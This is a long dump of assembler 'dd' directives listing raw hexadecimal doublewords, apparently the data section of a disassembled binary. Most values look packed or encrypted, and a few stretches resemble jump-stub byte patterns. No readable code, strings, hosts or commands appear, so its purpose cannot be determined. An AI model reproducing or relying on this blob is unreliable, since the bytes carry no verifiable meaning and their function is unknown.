		dd 24F16096h, 9E0F2EABh, 2DFECDE6h, 6C40A456h, 2E405F7h
		dd 7CD3241h, 2B000000h,	1E6C8h,	21A75000h, 1DC3941Dh, 0E476E47Fh
		dd 941D0440h, 99B78BC3h, 0B33B45D7h, 0C3941DD7h, 6E29B958h
		dd 0F83781B3h, 0AADE5684h, 3DC39430h, 0E75B2BC5h, 78BD8467h
		dd 0D82DD802h, 0A81C2D78h, 2E37054h, 3870C4F1h,	990DDF64h
		dd 44702D68h, 28529DE5h, 0DB8C6DCDh, 758A86Fh, 62B40000h
		dd 81F886Bh, 0BECD3A39h, 6FB75083h, 1E628350h, 5E853C27h
		dd 995A65BFh, 0C92A176Ch, 66FDC8DCh, 92417C89h,	1F6B8369h
		dd 90C584E6h, 0D5DEBB21h, 50A514F8h, 1D6F1B93h,	0AAEEC394h
		dd 0F2D62CABh, 536EBD68h, 69E35DB5h, 0BECB6BBCh, 2781AF83h
		dd 193441A6h, 0F10F3EDAh, 103A3240h, 0C2000000h, 126C8h
		dd 93B72400h, 0CAA519FDh, 0BDC43AD4h, 0D8764B50h, 941D7B0Ch
		dd 122973C3h, 0F001BEC8h, 0D73FAC67h, 4FEC7896h, 20BD8467h
		dd 178610DAh, 0D413504h, 0B9196AE3h, 86B1C761h,	1195A2h
		dd 0F9AB82D3h, 64B15E85h, 0F785E569h, 9776FE6Ch, 1844708Ah
		dd 735762B7h, 6D6AF8F4h, 4C03078Ch, 692h, 0B6ADA4EEh, 0E0734E59h
		dd 1EC5F407h, 49AAA9F1h, 0FA79445Ch, 0A3F9145Bh, 51A6479Ch
		dd 0E16F76Ch, 0B6C32C37h, 0B9B3589Bh, 84E15135h, 0F167D6C5h
		dd 14F8D5DEh, 0F5C4D7C6h, 4FA1F25Bh, 1B026CAAh,	829B62ABh
		dd 93F7CBBFh, 6DFF712Fh, 94878DF9h, 513802C3h, 0C4DE0847h
		dd 0FAD720C9h, 467D8570h, 1CCDCFA8h, 2232418Bh,	2397AAF3h
		dd 7B841EFh, 44000000h,	4EC8h, 0D5DE5000h, 50A514F8h, 0B3B19165h
		dd 1DF98D21h, 8B23C394h, 0C3941DFFh, 438D0A70h,	941D5F2Bh
		dd 0F6EAD0C3h, 0A64F5E58h, 0BFA605Dh, 71485BF1h, 0E155498Dh
		dd 0FECBDCADh, 46609750h, 0FC000000h, 48110911h, 51636400h
		dd 0A4F746BAh, 0DE857B95h, 0C614F8D5h, 0A024F499h, 4B916052h
		dd 94ADA723h, 34D228C3h, 94AD21A0h, 3CC913C3h, 1D62C2D7h
		dd 4785C20h, 415944D6h,	0BA4A8E72h, 0C394ADCEh,	14CF7941h
		dd 4B50BDECh, 2075D876h, 3349A115h, 1D3256DEh, 4DB5C394h
		dd 0C06B8369h, 0D4BD844Ah, 58E7DA29h, 7555368Fh, 0C542ECE3h
		dd 75BE6FFDh, 9AD73A83h, 3428C6E9h, 98B5FE2Fh, 93A8F434h
		dd 0E90B2549h, 0A731446Bh, 4AAC7B0Fh, 58F6CC30h, 0A85587FBh
		dd 7410945Fh, 0FB304AACh, 57B0A387h, 6B837742h,	4CE00A11h
		dd 4E41AB51h, 3D041A8Bh, 4FE77549h, 2E47B13Bh, 0BB98B68Ch
		dd 540E8847h, 0C54D927Eh, 51102h, 2C1B6F00h, 0F2CFD637h
		dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh,	27C01322h
		dd 9770E3DEh, 40ADB681h, 30D91A37h, 0E0D0B438h,	0E857C584h
		dd 0ED5DE70h, 941DE2E6h, 391D65C3h, 881CAE3Ah, 0C3941DFCh
		dd 6CE10F73h, 0F35A2E1Bh, 1A41ABA6h, 48CF95E5h,	8189A7B3h
		dd 9FDC0D8h, 947851A0h,	1CE0DF25h, 0D5D0CA38h
		dd 26266662h, 9CF00369h, 3CE5E022h, 0FB05DEEBh,	32413B52h
		dd 6F7Fh, 0D6F9900h, 0D740E476h, 58BD9EE1h, 0B94AA0F7h
		dd 0BA2A03C8h, 0F3795DB1h, 18DBF202h, 7CF0028Ch, 3A608B08h
		dd 0DFABBB9Fh, 503A608Bh, 5A28BC6Ah, 0B83A608Bh, 8408374Dh
		dd 97AAF940h, 6D839479h, 1B509E5Ch, 8D564A5Ah, 0BDCF1460h
		dd 60E95D29h, 18E8D23Ah, 3A60E96Ch, 0B1BB9FE3h,	29AC9B0Ah
		dd 3BD55D86h, 42870D7h,	1EC0000h, 352BC5F8h, 0E4760D6Fh
		dd 63D7EA39h, 0C76F012Fh, 0BD9F1AC2h, 228B7F43h, 3010E4D1h
		dd 0E9B3EBFAh, 21648852h, 26446BE1h, 455707DCh,	10A22C3Eh
		dd 7DE8E89Ch, 0ED1B7F30h, 76EF2C19h, 75D9214Eh,	9B417C84h
		dd 0BC8D9C09h, 87CF4C8h, 9F2E4AF2h, 66EAE72Eh, 287FCE22h
		dd 0FE1BEF19h, 5A758372h, 327492F6h, 6CA1FBB3h,	4AF28CF8h
		dd 0A5C9032Eh, 2E4AF221h, 4785CA6h, 0F56B5ED6h,	86FC5041h
		dd 0D222D35Dh, 0F7ED990Dh, 18622447h, 0D27C5024h, 0AF132E7Bh
		dd 5298B5FEh, 0F4C3D5C0h, 4004CC00h, 0C72447F7h, 0C49255F3h
		dd 0B5D155B8h, 3A2447F7h, 0EC7EECC0h, 47F70C78h, 91BF8324h
		dd 0ABC34DDFh, 2447F7DFh, 9064595Eh, 51FFC3BCh,	4CF33885h
		dd 46EE0D5Ah, 0DB0E7E0Bh, 2F3795Dh, 0A4951F1h, 9A6E4286h
		dd 0A08088A6h, 225C3620h, 44F867F5h, 26A49034h,	7A8B2DDBh
		dd 8F36786h, 714214h, 0BDAA0000h, 80744550h, 0AE4CB34Ch
		dd 93EE7C68h, 0C8532975h, 0EE069022h, 0C394439Ah, 6BFB156Dh
		dd 0BD9F5BCAh, 61EB5FA3h, 0BCC26EB4h, 22DDA185h, 0A76BFF31h
		dd 3CEACE5Bh, 61D0D8A8h, 0E741593Ah, 0FB4FA39Eh, 43370E12h
		dd 0E29C2903h, 0A058554Fh, 2C36BD89h, 6E8408B7h, 0E2FD891Dh
		dd 8723A61h, 0F52696CFh, 3EBBCF67h, 360C3A61h, 0CD4118h
		dd 0DEAF0000h, 8372F8D5h, 91F55970h, 0D62A9377h, 61B21BEFh
		dd 0EC39E054h, 98012C0Ah, 48AC0A6Dh, 3D7A03ABh,	0A8FDC394h
		dd 5CA9469Dh, 0FF9D9D61h, 977EF664h, 5BD9F08h, 121773FBh
		dd 37983A61h, 2B6FD3EEh, 6F870837h, 0AF9A400Dh,	0B2B88281h
		dd 0B0043B43h, 6531B25Ch, 61DE0C17h, 7DD23BFAh,	81DEC1Ch
		dd 0DB75493Dh, 0BF6C9D11h, 99E1446Ch, 675EA253h, 0C00913FCh
		dd 739CD8ACh, 0E26BAF30h, 0F8DCA09Dh, 7F4D4B84h, 80828C6Ah
		dd 225CFh, 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h
		dd 0D4EB31DEh, 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh
		dd 1CED7643h, 1D2C58CCh, 0D4A3C585h, 0FBDADE6Ch, 4F7A8F78h
		dd 162B709Dh, 6F997FF8h, 39E4760Dh, 0B933DDE0h,	9F058435h
		dd 2D91E9BDh, 15608D1Fh, 0F47C5024h, 3A60CB90h,	71052317h
		dd 3A60CB11h, 0ECA714C4h, 479CD0DCh, 28325C3h, 35EF5F8Eh
		dd 0EAFE5D2Ch, 501A288h, 0D713E600h, 0FD000000h, 14F8D5DEh
		dd 1E965FA5h, 0C3941D6Ah, 0DDA185FDh, 941B4C15h, 749AEFC3h
		dd 8B70186Ch, 5D86FA39h, 0E66A67B0h, 26A2CA54h,	0A93C6BD2h
		dd 95E7B751h, 21C85C8Eh, 0F34260E5h, 7CC0FD02h,	2911EE18h
		dd 9E106CCAh, 9547BB9Ah, 6D301311h, 74E6DC44h, 9F4D7089h
		dd 73107317h, 608EF430h, 3A051F8Eh, 89B4CC39h, 6AF3847Eh
		dd 0E45BAF8Ch, 132h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h
		dd 0E90A4951h, 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh
		dd 56A34C97h, 0D913F87Bh, 851C3155h, 51C7B6C5h,	0CFBB33BDh
		dd 2DC3941Dh, 941DCDB9h, 9F7842C3h, 78808DBBh, 1B669745h
		dd 0EC7E5226h, 941D0C78h, 91BF83C3h, 0C7E55AD6h, 9CD1CDA3h
		dd 0B465138h, 2A2770DDh, 50BDCBC9h, 4C807445h, 635EABA2h
		dd 0E8E52E9Fh, 0B6899302h, 87608EC2h, 1A3DD605h, 372D9D7Fh
		dd 7F982259h, 0BF581309h, 879FA63h, 0DDE10FD1h,	0EAE931BFh
		dd 0A3C064F6h, 2CBD8473h, 839904D6h, 5AF4C8BCh,	1CF207F6h
		dd 816C6D38h, 1F2A7DAFh, 1F7357ABh, 0E3DE2BC4h,	4799D71Fh
		dd 67BD8926h, 0E933E266h, 20F562D6h, 8F7F8422h,	8984A286h
		dd 0F1CCD47Ch, 0EFC3F208h, 268E9B74h, 3A1EE2DFh, 738B72C6h
		dd 0EF2C1D9h, 44A50DCAh, 39B9BA17h, 0CCC471C5h,	0F2CFD8C1h
		dd 3256DE68h, 0B565054Dh, 27C0A34Dh, 0C913E7D2h, 4D5337BFh
		dd 0EED46505h, 3E6F8651h, 0C563B624h, 115Eh, 0E884E600h
		dd 68DCEB3Dh, 311FEB14h, 34F19D6Dh, 0D4DE241Ah,	57A009FDh
		dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
		dd 798871C5h, 0FA0DFC40h, 68CF7BCFh, 2E87h, 50241489h
		dd 405E089h, 83000000h,	48704E8h, 2C895C24h, 0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 240C895Ch, 8904EC83h
		dd 6EBE2434h, 890610F3h, 8B545EF5h, 0C481240Ch,	4, 599868h
		dd 242C8900h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h, 87000000h
		dd 0FF5C2404h, 815D2434h, 4C4h,	7BDDE900h, 2CD2FFFAh, 4A1CDDAFh
		dd 0B818D99Ah, 61102E7h, 0E0FFC503h, 651241FDh,	6CD8CBDBh
		dd 6C55BF55h, 1633140Ch, 33249845h, 37EA18F0h, 2CC0F5FCh
		dd 567A18B5h, 35BCE4DCh, 33EFB9F4h, 671571E4h, 6056B3D6h
		dd 19D6EF14h, 786EBC49h, 79A73E4Ah, 77E3D205h, 7BF5EEC6h
		dd 51FFDA11h, 2488B27Eh, 52B39A69h, 4AB6E430h, 4B610EC7h
		dd 2DF389A7h, 57494D83h, 17DE9h, 0FE5D6000h, 0C2016C4Fh
		dd 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh
		dd 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch
		dd 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h
		dd 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh,	0BCFA9753h
		dd 5CCD45C9h, 0E56CA191h, 10000ACh, 43h	dup(0)
		dd 0D1F80000h, 0DA43736h, 66FD3C2h, 0F2E94B58h,	6800000Fh
		dd 6110710h, 0FB3DD8E9h, 7EA68FFh, 0CEE90611h, 68FFFB3Dh
		dd 6110969h, 0FB3DC4E9h, 0A2668FFh, 0BAE90611h,	68FFFB3Dh
		dd 6110B3Ah, 0FB3DB0E9h, 0C4968FFh, 0A6E90611h,	68FFFB3Dh
		dd 6110CD3h, 0FB3D9CE9h, 0D4868FFh, 92E90611h, 68FFFB3Dh
		dd 6110E64h, 0FB3D88E9h, 0F2368FFh, 7EE90611h, 68FFFB3Dh
		dd 6110FE6h, 0FB3D74E9h, 109068FFh, 6AE90611h, 68FFFB3Dh
		dd 6111167h, 0FB3D60E9h, 129B68FFh, 56E90611h, 68FFFB3Dh
		dd 611136Eh, 0FB3D4CE9h, 0A6205DFFh, 0E3DB1ED9h, 3C9AD114h
		dd 7A549053h, 0B4126A8Dh, 792DC2CBh, 3F3A8501h,	0FC77C0BEh
		dd 0B0B31C7Ah, 7EF35C3Ah, 6248D51Eh, 226F7BAEh,	5836B43Bh
		dd 0FBD329B2h, 7AC0260Ch, 58BFCB1Ch, 31AA4F8Ah,	0CD2DDFB7h
		dd 0E770FB11h, 816F9258h, 0C304804Bh, 8A25D2ACh, 0BC0DEF21h
		dd 4C82h, 637B9300h, 8D43A19Fh,	2586A9D9h, 0E407DC1Ah
		dd 528A5DEAh, 5F4F8B53h, 0E88E661h, 93125825h, 27837F6Fh
		dd 0D2915705h, 73888113h, 0B607D27Dh, 0AC6F9317h, 7D8724Ch
		dd 0B7FEDE9h, 5B3CE6D5h, 78E33685h, 2BBC0D33h, 0C1h, 5836B4CCh
		dd 92D129B2h, 6DCD7F57h, 5A9C57B1h, 4339D37Ch, 0FC6E6880h
		dd 2FA7C71Ch, 0B732DD3Dh, 0E0635D39h, 3FE30985h, 85FB7C10h
		dd 855EBE09h, 15E06F67h, 759D58D2h, 430C8AE0h, 0D42B4AA0h
		dd 8EEC1EFAh, 0B65432B5h, 0F1F5BD4Ah, 68042F09h, 6D4F8A6Dh
		dd 0D60822EDh, 6E21326Ch, 6D49845Ah, 5DD64E87h,	2783B9E2h
		dd 90EE0EC9h, 0D2ACCC27h, 5A74A410h, 8441EBE4h,	0D72h
		dd 804F47A4h, 3B840265h, 7AC5C138h, 0B4037BFFh,	0F25D39B1h
		dd 2840549Dh, 0E506E1AEh, 0A1DB1EE9h, 619F5A25h, 27519A65h
		dd 0AE636F3Ch, 0D205847Bh, 7A549651h, 4DF68D0h,	4B8CEAE4h
		dd 0BBAA5531h, 0FB4442B8h, 9F637B84h, 7436B6A1h, 0C73B4F8Ah
		dd 34398225h, 9D536F92h, 1770DB2Eh, 0B833BC0Eh,	0C4000000h
		dd 78569651h, 0F8D614CFh, 250E6C52h, 759D5D58h,	0F174837Fh
		dd 0C5231D79h, 45EEE802h, 759D5CB8h, 38D463DFh,	9D5934B7h
		dd 92EC0275h, 5D39B3B4h, 0FAD414AFh, 0E702F11Eh, 0B00E6A89h
		dd 6A4836D4h, 9D5834F9h, 50FF4375h, 40BE845Ah, 8A6DFB97h
		dd 0B502FE4Fh, 0A781697Dh, 845DF4BCh, 0D7310949h, 15E2DC1Ch
		dd 225B9AD2h, 940AC8A4h, 8BE45AD2h, 0C9824E1h, 215E0000h
		dd 0DC1FDAA5h, 9BD215E2h, 55915423h, 136B8E79h,	2EC3CCBBh
		dd 3B84027Ah, 78C7BF38h, 0B4037BFDh, 0F4433BB1h, 49D6017Fh
		dd 6E7BAE64h, 34B43C23h, 5C820FD8h, 0A991759Dh,	89E702CDh
		dd 0B45B420Dh, 7E5836h,	9D5D4AD7h, 75F66975h, 530FF319h
		dd 1957E8A4h, 5C67343Fh, 8C8C759Dh, 0FA7DF6D0h,	0AE0A84FBh
		dd 6678B2A1h, 89321CF6h, 0EC50B183h, 681DE96Fh,	4EA804E0h
		dd 8AFF2DE5h, 228104Fh,	930020A9h, 47B24A6Fh, 0EAE404DFh
		dd 4BE9525Dh, 74BABC0Dh, 42000000h, 0B2EF364h, 0FA7C6F93h
		dd 75827E9Ch, 9F637B0Eh, 7056B6A1h, 655B4F8Ah, 924F2DF2h
		dd 1AF64A6Fh, 0C6C03B3Ch, 8BDC9739h, 256F9250h,	4AA8DC2Fh
		dd 924F1499h, 9559176Fh, 39AF8A0Ah, 9D103F03h, 0BC0E8536h
		dd 2AE9h, 637B8E00h, 5EB6A19Fh,	434F8A7Eh, 519A4DFFh, 7B6F923Eh
		dd 0B0EE16E5h, 923CDAA7h, 0F601F96Fh, 0E0E50BBh, 7D3BCh
		dd 0CEE40000h, 89Bh, 0F8637BD7h, 48A6027Ch, 8C580C9Fh
		dd 211FE34Fh, 862E5C3h,	57D8A58Eh, 3FF6F8Ch, 576D3225h
		dd 0B68A6F8Ch, 3690EE89h, 1150AE49h, 0EB01FDD9h, 85E3479Fh
		dd 7B551A52h, 0CD2B1749h, 0D9A6B1EFh, 0FE697B53h, 62880665h
		dd 0E901C2BEh, 698762EDh, 2947A26Dh, 0F3EBBFADh, 6206D10Fh
		dd 6743684Eh, 271599Bh,	0E486EA6Fh, 0B1929h, 26A0DD00h
		dd 635B9E59h, 0BC1A5194h, 0FAD410D3h, 3492EA0Dh, 0F9AD424Bh
		dd 0BFBA0581h, 7CF7403Eh, 30339CFAh, 0FE73DCBAh, 65C8559Eh
		dd 0A2EF7BAEh, 589651BBh, 0E36CCC7Eh, 9D5CC710h, 0A68C5275h
		dd 57FC9F48h, 0FF34F8Ch, 0E9746A40h, 271B318Dh,	0F5E76D4Bh
		dd 8576C64Ah, 0F16262EDh, 497B2C1Eh, 0EFE706C1h, 625CBC60h
		dd 14548BE1h, 0F671DEBAh, 0A4EC1E78h, 559EF842h, 436A291Dh
		dd 0A71F5F00h, 146AEDCBh, 0D42ACDBAh, 0E46A50FAh, 64D0220Bh
		dd 0A2D81B27h, 2DDA0624h, 69C00F5Ah, 6ED40AE3h,	0C6FB2730h
		dd 0E4C2BD56h, 5EA6AE73h, 0CA75C5DDh, 0CA282A16h, 0C17080A9h
		dd 0A5CEA2Bh, 5D920000h, 18539661h, 0D716D1BEh,	91D510FFh
		dd 4FAF4A35h, 6A878877h, 0F7403EBEh, 3483FB7Ch,	70DFB731h
		dd 0B01F77F5h, 850ADDBBh, 927BAE66h, 637BF81Fh,	0D3B6A19Fh
		dd 0D84F8C58h, 0AFCD0660h, 6F8D68D7h, 1A333917h, 0ECEA0C98h
		dd 27C7A15Ah, 0E26DC9C5h, 0BE845A2Eh, 7AC48A40h, 0B7099641h
		dd 0D22E6F8Bh, 82B9E31Ch, 35CC1775h, 12497B58h,	0F977F02Eh
		dd 1CD2329Dh, 0A09683C9h, 5D18274Bh, 0FD85A71Fh, 3C2701E9h
		dd 4369DBACh, 845FB981h, 91ED0F66h, 5C2B877Bh, 0C16B6399h
		dd 69DBDD6Eh, 58A24463h, 0D856F57Eh, 0FD5D3D58h, 4CA2A583h
		dd 0CC22C572h, 58B694F2h, 58D7028Fh, 3A29115Dh,	5D58D675h
		dd 9740BE82h, 5D58D70Ah, 3726D129h, 0A368FBD9h,	0B05D58D6h
		dd 57F5D12Fh, 65000FEBh, 159D8F07h, 240F69D1h, 3747D349h
		dd 402E64EAh, 0FF4C86B3h, 0BEACAC50h, 0D00EF4EAh, 34FA5707h
		dd 0C6DE631h, 97A098B2h, 7DF15E5h, 18FCA296h, 9489372h
		dd 718E0000h, 2C4FAA15h, 0EB02E552h, 0A5C12493h, 639B5E29h
		dd 7EB39C6Bh, 8B7452AAh, 0C8B70F68h, 4F3CB2Dh, 44338BE1h
		dd 9966F1AFh, 0BE7BAE67h, 36B48CF3h, 0D7007E58h, 759D5D4Ah
		dd 0AA669169h, 49E3DB11h, 5AE7D22Ah, 723F2824h,	81759D5Ch
		dd 60E3DDB9h, 3F9D8F07h, 9D5C6734h, 0D08C8C75h,	8EF53827h
		dd 11B602EDh, 1Bh, 8916C13Fh, 0AE759D68h, 513EA552h, 5D1BE073h
		dd 0C038759Dh, 502C637h, 0D4EF0000h, 6787405Dh,	7B91ED08h
		dd 961C2B87h, 0AE8CEA50h, 5D1AE770h, 0C139759Dh, 7FEDE902h
		dd 0DDE17483h, 0F84F8A74h, 0BDBCA700h, 4C927E83h, 1876509Ah
		dd 426A0DFh, 0A4582BD4h, 91767370h, 526F49C3h, 96BD0220h
		dd 4998A555h, 5BB511CDh, 2C25EA7Dh, 0F30B967Bh,	6E99619Bh
		dd 2A10D6A2h, 0AEAA1BCCh, 6F4D706Ch, 949A47D9h,	3E25A992h
		dd 906D4871h, 0D38DBA86h, 0B836316Fh, 78F671DEh, 70AC41Eh
		dd 4BE1BD72h, 8398Ah, 680FD00h,	433BBEB9h, 9CFA71F4h, 0DAB43033h
		dd 14728A6Dh, 998DA2ABh, 5F9A6561h, 1CD7A01Eh, 0D013FCDAh
		dd 9E533C9Ah, 68A875FEh, 0C2CF7BAEh, 5836B49Bh,	0F5D129B2h
		dd 0B2C90A0Ah, 0EBA036D4h, 59A9C84Ah, 5357E05Ch, 9E49A78Bh
		dd 4F8CFB15h, 7FF8D62Ah, 3F3A8501h, 8DEBC5C1h, 8CFAD55Ah
		dd 0C51EE26Fh, 721E29A5h, 1C7AC026h, 7BF73CCBh,	0F9D72B49h
		dd 3986007Eh, 24C6C03Eh, 0E1635B93h, 0E4635931h, 0AFE924C6h
		dd 67000007h, 20C38C0Ah, 0FB7EC9C5h, 0BABD0A84h, 7CF7403Eh
		dd 0D83582FCh, 93EB0317h, 2EA8C124h, 6A648661h,	0AA245A9Dh
		dd 0FF6814DDh, 7BAE6932h, 7B154841h, 0B6A19F63h, 4F8C58DFh
		dd 64293A18h, 736F8C58h, 7CDC808Fh, 0ADA7C102h,	8C57F5BAh
		dd 423E026Fh, 0DE1CD7B5h, 8C686687h, 0CCCA20C3h, 0AE944A5Eh
		dd 6FCBE770h, 72CE4979h, 5E204AF0h
		dd 0EA2BC1E4h, 73Ah, 0B8077FFCh, 0F35C3ABDh, 329DF970h
		dd 6CDBB337h, 0AA157189h, 60988CA5h, 1D5E9966h,	0D913D6A1h
		dd 99D712FDh, 0FF99523Dh, 0AE69A774h, 9AFDCC7Bh, 0B25836B4h
		dd 469906CCh, 12CA732Ah, 92EC02E5h, 8D56B4h, 17759D65h
		dd 33701C2Bh, 3DB3CE3Dh, 89EC6741h, 1813020Dh, 0B602E1B3h
		dd 0EF0660E3h, 2018328Ch, 0CD7AA644h, 0C58h, 96517D00h
		dd 6FD07F57h, 300h, 5836B408h, 9006CCB2h, 132C1D81h, 0B9BDA233h
		dd 229E8EE7h, 86499D15h, 1AC66462h, 0B219DD9h, 0CA1D7BD7h
		dd 4F8CE23Bh, 8C67D028h, 61FA106Eh, 0E8C28D09h,	0B6106BF6h
		dd 0BF6BFCDAh, 0AA497BDDh, 81FF7856h, 0DDCF5C87h, 73E4697Bh
		dd 0B16983FBh, 0C41F79D5h, 301F28A6h, 42B8B735h, 9E7AA644h
		dd 0C9142A0h, 2B697BDEh, 0E0DE1CD7h, 0CA22B557h, 0E7605ECCh
		dd 0F7DC6789h, 5E3FA7EFh, 679048E2h, 79579B43h,	68E06EEEh
		dd 9641BF43h, 6370BF09h, 5836B52Eh, 51A953FCh, 6E917393h
		dd 2FEE9CEAh, 61Eh, 54239BD0h, 8F785691h, 0CEB91554h, 8F7CF2Bh
		dd 46318DEDh, 7CFCA849h, 39B2B502h, 0F577F25Dh,	0B5CB2E99h
		dd 9B856ED9h, 0AE6AC348h, 0A6D9D07Bh, 0BE3F36B4h, 7EBB6DAAh
		dd 78D4741Dh, 49A1A29Ch, 500EC24Dh, 748A679Ah, 3324DBCFh
		dd 759D7D6Eh, 2ED9B585h, 8DB354Bh, 759D7D83h, 5ECCA890h
		dd 0BD383B59h, 7E0B9043h, 0D028759Dh, 0C635CB74h, 6F67855Eh
		dd 0C11977FDh, 50B9318Ah, 52A84BF4h, 3BA08B74h,	7BB602D0h
		dd 0EB017DF8h, 181F0837h, 21000000h, 5DCFC726h,	8864629Ah
		dd 0D412C746h, 0E26D60DAh, 146CEFBh, 51D70000h,	0D17E5896h
		dd 64FED816h, 0D841F3D2h, 5F02C369h, 97000005h,	50937C5Ah
		dd 2BCEB915h, 0EA0DFAD4h, 0AC47308Eh, 8885724Ch, 433BB367h
		dd 9EF871F4h, 0DAB43631h, 1A748A6Dh, 0FD844ADh,	7BAE6B82h
		dd 0B4E51891h, 0E57E5836h, 0D25F8884h, 0E1759D5Ch, 0FE92BD19h
		dd 0A8264780h, 36B15E82h, 772CDEB8h, 17F0AF1h, 19DA3A85h
		dd 2DF265DFh, 4A759D5Dh, 8AF01AF6h, 9D5CD459h, 0A31FE375h
		dd 0E9B21994h, 0D75B602h, 2000000h, 0B7CEh, 0B1CED700h
		dd 0D7000000h, 0A19F637Bh, 5D0B9043h, 481C759Dh, 0F0B01503h
		dd 3CCB37C5h, 7BFC8B5Ch, 17EB4F8Ch, 7339ADF5h, 8C7C1BE0h
		dd 3C0386Fh, 0D630ECEAh, 799AC10Dh, 0E803D449h,	283032EEh
		dd 2FE45DF7h, 49C40BDh,	1D520000h, 0D813D6A1h, 97D611FEh
		dd 5195503Fh, 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch
		dd 0B01F77F1h, 0F05F37B5h, 45CA1D7Bh, 527BAE6Ch, 637B385Fh
		dd 38B6A19Fh, 3D4F8A30h, 960E3DDh, 0A0A39F8Dh, 78A04A44h
		dd 0F776F1CFh, 9525309Fh, 0A46F9210h, 0D9734BA3h, 0EAB70E3h
		dd 70C86F92h, 72886B94h, 3148AB14h, 2F56B755h, 7F000004h
		dd 0A19F637Bh, 8C57DFB6h, 0A0DF184Fh, 3AB30426h, 0A557E05Ch
		dd 29C3BB32h, 0A3F715F1h, 5E99F73Bh, 25A1C41Bh,	0D07FDB07h
		dd 76DB67F0h, 2FE4979h,	5E1A42C0h, 0C203A9E4h, 3F2h, 0CFC724h
		dd 0BB0482E5h, 0FA4541B8h, 3483FB7Fh, 72DDB931h, 0A8C0D41Dh
		dd 6586612Eh, 215B9E69h, 0E11FDAA5h, 0A7D11AE5h, 0AE6CEFBCh
		dd 5285047Bh, 1629B51h,	15527069h, 0D41EC0EAh, 0B5BE9CFAh
		dd 759E14E8h, 7104330Fh, 4F8D0FA6h, 7C5A9E59h, 3BE512CEh
		dd 106EE9C7h, 0D02EC9B6h, 0C65298F6h, 6DEE17CAh, 0DCA46897h
		dd 0C6200Ah, 5962C355h,	81FF08E0h, 0D9245A3h, 0F66F8C91h
		dd 8C90A06Dh, 0B14BB76Fh, 0B32BBE49h, 0BE497B8Dh, 8DE36442h
		dd 4DA34631h, 8C9B60F3h, 40B8697Bh, 0DF1846E4h,	0D60A209Eh
		dd 0F25D8129h, 47A11D79h, 0FE6C6A8Ch, 8CCA5780h, 11E9697Bh
		dd 2C0A8AB5h, 0CCECFF26h, 19269F9Fh, 68BBAA4Eh,	8143BF43h
		dd 0EA6E948Dh, 1B8D48E2h, 0D3000003h, 9C57209Eh, 57927D59h
		dd 16D1BE18h, 0E80BF4D2h, 44493690h, 77FFFABh, 423CBDB8h
		dd 9EF872F5h, 0DEB83631h, 4B9CF871h, 7BAE6DC6h,	0B4B9DCEDh
		dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D2306E68h,	9D5C7C01h
		dd 98A79B75h, 0F25D81A9h, 0A4C41F77h, 7CD8002Ah, 58C5D102h
		dd 58A04F8Ah, 58B039B2h, 47A66F92h, 0E41ADD4Fh,	5832FF68h
		dd 0F9416F92h, 0B088EF1Dh, 60F85F49h, 0EEDB4099h, 18DBBC0Dh
		dd 136888DCh, 4F7EB675h, 76817993h, 2581h, 30B48F00h, 7B32A956h
		dd 0B6A19F63h, 4F8A7436h, 8225C73Bh, 6F923439h,	0DB2E9D53h
		dd 0BC0E1770h, 0CB33h, 36B4C400h, 0D129B258h, 6E8C57F5h
		dd 69303610h, 0F2C876B8h, 9EFC90BFh, 34EAB7A0h,	3109759Eh
		dd 0B10D6306h, 0C81B7957h, 759E3543h, 0B67BE850h, 0E4759E34h
		dd 0AF60482h, 34763B2Ch, 0BD9D759Eh, 1550A392h,	23759E31h
		dd 0E306F1CDh, 8F1B318Dh, 0A2B59357h, 4F8B3E72h, 1876F46Fh
		dd 0E5520EF2h, 0F7D119CDh, 85495C6Ch, 0EFC93149h, 0CDBA1454h
		dd 7EF4D22Ah, 0E459E800h, 0E7987517h, 2F000001h, 0E80BF4D2h
		dd 0A346318Dh, 6285724Ch, 243F8806h, 107DCAC4h,	0DBB3CBDFh
		dd 1670896Ch, 522C4EA9h, 92EC02E5h, 8750CC25h, 7BAE6EFAh
		dd 516D9019h, 5D1BE073h, 0C038759Dh, 423CBC37h,	0AEB997F5h
		dd 759D5CE1h, 7AFD0AF6h, 0C63D8A04h, 0A19F637Bh, 8A7436B6h
		dd 0A6CE74Fh, 5B378FEBh, 0E208F0ACh, 92340049h,	6752AA6Fh
		dd 0E17A912h, 0A57ABCh,	0B41B0000h, 29B25836h, 9C57F5D1h
		dd 759D5959h, 0CAB5116Fh, 116BECCAh, 57E1AEB5h,	0AF6759Dh
		dd 8A047AFDh, 64CE1060h, 66E9D90Ah, 64D44F8Ah, 694F979Bh
		dd 0A5B216E3h, 392A607Bh, 6F91F174h, 40A4BF83h,	5B8CEA46h
		dd 498421F0h, 0C20563DFh, 80632CAAh, 74D46E68h,	0ABE45B0Eh
		dd 114C401h, 0A5DA0000h, 609B5E29h, 1F5E9966h, 0D91DD8A7h
		dd 97D712FDh, 0B27F503Fh, 0BF0886E6h, 0FC4B43A4h, 3887FF79h
		dd 78C7BF3Dh, 0CD5285F3h, 0EA7BAE6Fh, 34B4B0A7h, 81FB7C5Ah
		dd 0C3BE705h, 4DA4DA1Dh, 43BFAD29h, 0B42118E7h,	0CCB25836h
		dd 5CB845EEh, 63DF759Dh, 0E3DB11D4h, 0AF274285h, 6579B1A0h
		dd 0ADB0A39Dh, 0B24F8C57h, 0E51BDC4Eh, 86518FE9h, 6F8C57F9h
		dd 13C4221Eh, 6F8C578Eh, 0BBAA55A5h, 292E42B8h,	0E8E60769h
		dd 25147E66h, 0B008A349h, 8400B269h, 0EDE90D64h, 29401B31h
		dd 785696ADh, 7B4EE4D2h, 4953D80Bh, 98602242h, 0A316C83Ch
